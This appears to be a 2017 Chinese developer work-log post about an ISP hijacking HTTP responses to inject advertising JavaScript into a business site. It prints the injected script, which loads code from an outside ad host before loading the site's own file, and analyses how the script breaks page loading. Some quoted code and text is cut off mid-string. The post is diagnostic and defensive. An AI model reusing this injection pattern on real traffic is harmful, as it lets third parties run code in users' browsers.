title: ISP劫持http请求 tags:
- http劫持
- js
- 运营商 categories: 工作日志 date: 2017-04-25 18:18:53
最近业务系统经常受到前端报错邮件
发现大量的ip为沈阳联通客户==>初步推断为运营商http劫持
经过现场排查发现出错画面部分js加载出错
区别在于错误的js会先插入一个广告js
为区别是否dns劫持查看NetWork面板
IP正确并且为我方服务器IP确认并非为DNS攻击。
由于大面积出现沈阳联通问题，(故而考虑应当为运营商问题？应该不会出现大范围路由器被黑的可能吧)
返回js如下
(function () { try { var o = 'm-_-m', D = document; if (!D.getElementById(o)) { var j = 'http://yunxiu.f6car.com/kzf6/js/basic/XXX.js', J = j + (~j.indexOf('?') ? '&' : '?') + new Date().getTime(), M = 'http://pc.quansj.cn/?cid=08', C = D.currentScript, H = D.getElementsByTagName('head')[0], N = function (s, i) { var I = D.createElement('script'); I.type = 'text/JavaScript'; if (i) I.id = i; I.src = s; H.appendChild(I); }; if (self == top) { N(M, o); } if (!C) { C = (function () { var S = D.scripts, l = S.length, i = 0; for (; i < l; ++i) { if (S[i].src === j) { return S[i]; } } })(); } C && ((C.defer || C.async) ? N(J) : D.write(' 通过域名Whois反查
发现旗下域名
有好几个都是广告劫持网站
貌似和一个说脱口秀的（赵本山徒弟）同名………………该不是同一个人吧/(ㄒoㄒ)/~~
和沈阳联通沟通后无果，拒不承认存在劫持。目前正在求助工信部，不知能否有解决方案。
github上已经有针对该地址的adblock了……明显辽宁联通
看了一下js选项，正常情况下会执行到
C&&((C.defer||C.async)?N(J):D.write(' 代码做了判断，如果支持defer或者async这直接append异步加载js，当不支持则直接通过document写入（同步执行）
也就是说理论上会同步加载我们服务器上的js~但是事实上出现了大量的js未加载到
经过查阅发现chrome有个设置（据说chrome55(?)+版本后优化）可以尝试一下
chrome://flags/#disallow-doc-written-script-loads
具体说明如下
With this data in mind, Chrome, starting with version 55, on behalf of all users when we detect this known-bad pattern by changing how
document.write()is handled in Chrome (See ). Specifically Chrome will not execute the<script>elements injected viadocument.write()when all of the following conditions are met:
- The user is on a slow connection, specifically when the user is on 2G. (In the future, the change might be extended to other users on slow connections, such as slow 3G or slow WiFi.)
- The
document.write()is in a top level document. The intervention does not apply to document.written scripts within iframes as they don't block the rendering of the main page.- The script in the
document.write()is parser-blocking. Scripts with the '' or '' attributes will still execute.- The script is not hosted on the same site. In other words, Chrome will not intervene for scripts with a matching eTLD+1 (e.g. a script hosted on js.example.org inserted on ).
- The script is not already in the browser HTTP cache. Scripts in the cache will not incur a network delay and will still execute.
- The request for the page is not a reload. Chrome will not intervene if the user triggered a reload and will execute the page as normal.
Third party snippets sometimes use
document.write()to load scripts. Fortunately, most third parties provide , which allow third party scripts to load without blocking the display of the rest of the content on the page.
貌似我们不符合条件4 暂时先考虑一下
代码format完后大惊失色……整个加载js的前提是画面中没有id为m-_-m的节点。否则不会进行加载js ，即不会执行document.write
如果悲催的是我们画面中存在2个或两个以上的js被劫持，那么除了第一个js其余均不会加载。
那么查看了一下js请求（带有queryString），发现
果然当时客户的请求了commonjs，也就是commonjs也被劫持了。此刻画面中出现了m-_-m节点。导致其他被劫持的js不会加载真实的js………………
再说一下关于我们首页的劫持（跳转？）
明显也是江苏宽带(南京电信)的劫持……
哭不出来好么
只能上https了……